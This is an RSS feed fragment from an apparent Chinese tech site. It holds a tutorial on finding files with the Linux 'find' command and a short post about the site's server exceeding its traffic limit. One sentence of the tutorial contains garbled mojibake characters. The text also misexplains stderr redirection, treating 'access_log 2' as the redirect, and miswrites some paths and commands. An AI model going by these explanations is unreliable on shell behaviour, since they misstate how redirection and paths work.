		<description><![CDATA[每一种操作系统都是由成千上万个不同种类的文件所组成的。其中有系统本身自带的文件，用户自己的文件，还有共享文件等等。 我们有时候经常忘记某份文件放在硬盘中的哪个地方。在微软的WINDOWS操作系统中要查找一份文件是相当简单的事情，只要在桌面上点击“开始”－“搜索”中就能按照各种方式在本地硬盘上，局域网络，甚至在INTERNET上查找各种文件，文档。 可是使用Linux的用户就没有那么幸运了，在Linux上查找某个文件确实是一件比较麻烦的事情。毕竟在Linux中需要我们使用专用的“查找”命令来寻找在硬盘上的文件。Linux下的文件表达格式非常复杂，不象WINDOWS,DOS下都是统一的AAAAAAA.BBB格式那么方便查找，在WINDOWS中，只要知道要查找的文件的文件名或者后缀就非常容易查找到。Linux中查找文件的命令通常为“find”命令，“find”命令能帮助我们在使用,管理Linux的日常事务中方便的查找出我们需要的文件。对于Linux新手来说，“find”命令也是了解和学习Linux文件特点的方法。因为Linux发行版本繁多，版本升级很快，在Linux书籍上往往写明某个配置文件的所在位置，往往Linux新手按图索骥还是不能找到。比如说REDHAT Linux 7.O和REDHAT Linux 7.1中有些重要的配置文件所在的硬盘位置和文件目录就有了很大的改变，如果不学会使用“find”命令，那么在成千上万的Linux文件中要找到其中的一个配置文件是相当困难的，笔者在没有精通“find”命令之前就吃过这样的苦头。 好，下面就详细为大家介绍强大的“find”命令的全部使用方法和用途。 通过文件名查找法： 　　这个方法说起来就和在WINDOWS下查找文件一样容易理解了。如果你把这个文件放在单个的文件夹里面，只要使用常见的“ls"命令就能方便的查找出来，那么使用“find”命令来查?宜筒荒芨懔粝律羁痰挠∠螅暇?“find”命令的强大功能不止这个。如果知道了某个文件的文件名，而不知道这个文件放到哪个文件夹，甚至是层层套嵌的文件夹里。举例说明，假设你忘记了httpd.conf这个文件在系统的哪个目录下，甚至在系统的某个地方也不知道，则这是可以使用如下命令： 　　find / -name httpd.conf 　　这个命令语法看起来很容易就明白了，就是直接在find后面写上 -name，表明要求系统按照文件名查找，最后写上httpd.conf这个目标文件名即可。稍等一会系统会在计算机屏幕上显示出查找结果列表： 　　 　　etc/httpd/conf/httpd.conf 　　这就是httpd.conf这个文件在Linux系统中的完整路径。查找成功。 　　如果输入以上查找命令后系统并没有显示出结果，那么不要以为系统没有执行find/ -name httpd.conf命令，而可能是你的系统中没有安装Apache服务器，这时只要你安装了Apache Web服务器，然后再使用find / -name httpd.conf就能找到这个配置文件了。 　　无错误查找技巧： 　　在Linux系统中“find”命令是大多数系统用户都可以使用的命令，并不是ROOT系统管理员的专利。但是普通用户使用“find”命令时也有可能遇到这样的问题，那就是Linux系统中系统管理员ROOT可以把某些文件目录设置成禁止访问模式。这样普通用户就没有权限用“find”命令来查询这些目录或者文件。当普通用户使用“find”命令来查询这些文件目录是，往往会出现"Permissiondenied."（禁止访问）字样。系统将无法查询到你想要的文件。为了避免这样的错误，我们可是使用转移错误提示的方法尝试着查找文件，输入 　　find / -name access_log 2&#62;/dev/null 　　这个方法是把查找错误提示转移到特定的目录中去。系统执行这个命令后，遇到错误的信息就直接输送到stderrstream 2 中，access_log 2就是表明系统将把错误信息输送到stderrstream 2中，/dev/null是一个特殊的文件，表明空的或者错误的信息，这样查询到的错误信息将被转移了，不会再显示了。 　　在Linux系统查找文件也会遇到这样一个实际问题。如果我们在整个硬盘，这个系统中查找某个文件就要花费相当长的一段时间，特别是大型Linux系统和容量较大的硬盘，文件放在套嵌很深的目录中的时候。如果我们知道了这个文件存放在某个大的目录中，那么只要在这个目录中往下找就能节省很多时间了。使用find /etc -name httpd.conf 就可以解决这个问题。上面的命令就是表示在etc目录中查询httpd.conf这个文件。这里再说明一下“/ ”这个函数符号的含义，如果输入 “find/ ”就是表示要求Linux系统在整个ROOT目录下查找文件，也就是在整个硬盘上查找文件，而“find/etc”就是只在 etc目录下查找文件。因为“find/etc”表示只在etc目录下查找文件，所以查找的速度就相应要快很多了。 　　根据部分文件名查找方法： 　　这个方法和在WINDOWS中查找已知的文件名方法是一样的。不过在Linux中根据部分文件名查找文件的方法要比在WINDOWS中的同类查找方法要强大得多。例如我们知道某个文件包含有srm这3个字母，那么要找到系统中所有包含有这3个字母的文件是可以实现的，输入： 　　 　　find /etc -name '*srm*' 　　这个命令表明了Linux系统将在/etc整个目录中查找所有的包含有srm这3个字母的文件，比如 [...]]]></description>
		<wfw:commentRss>http://www.hackerfans.com/hacker-skills/linux-vps/linux-find-command.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>美国服务器今天挂了</title>
		<link>http://www.hackerfans.com/latest-news/servers.html</link>
		<comments>http://www.hackerfans.com/latest-news/servers.html#comments</comments>
		<pubDate>Wed, 23 Nov 2011 08:23:21 +0000</pubDate>
		<dc:creator>Matrix</dc:creator>
				<category><![CDATA[官网动态]]></category>

		<guid isPermaLink="false">http://hackerfans.com/blog/?p=611</guid>
		<description><![CDATA[平时没注意看，今天一看流量，额滴神吶。。。居然超出了100多G。。。 发现今天凌晨有两拨大数据流量过来，暂未查明是哪几个网站导致的。 悲催了，这个月服务器估计要被关闭了。。。]]></description>
		<wfw:commentRss>http://www.hackerfans.com/latest-news/servers.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

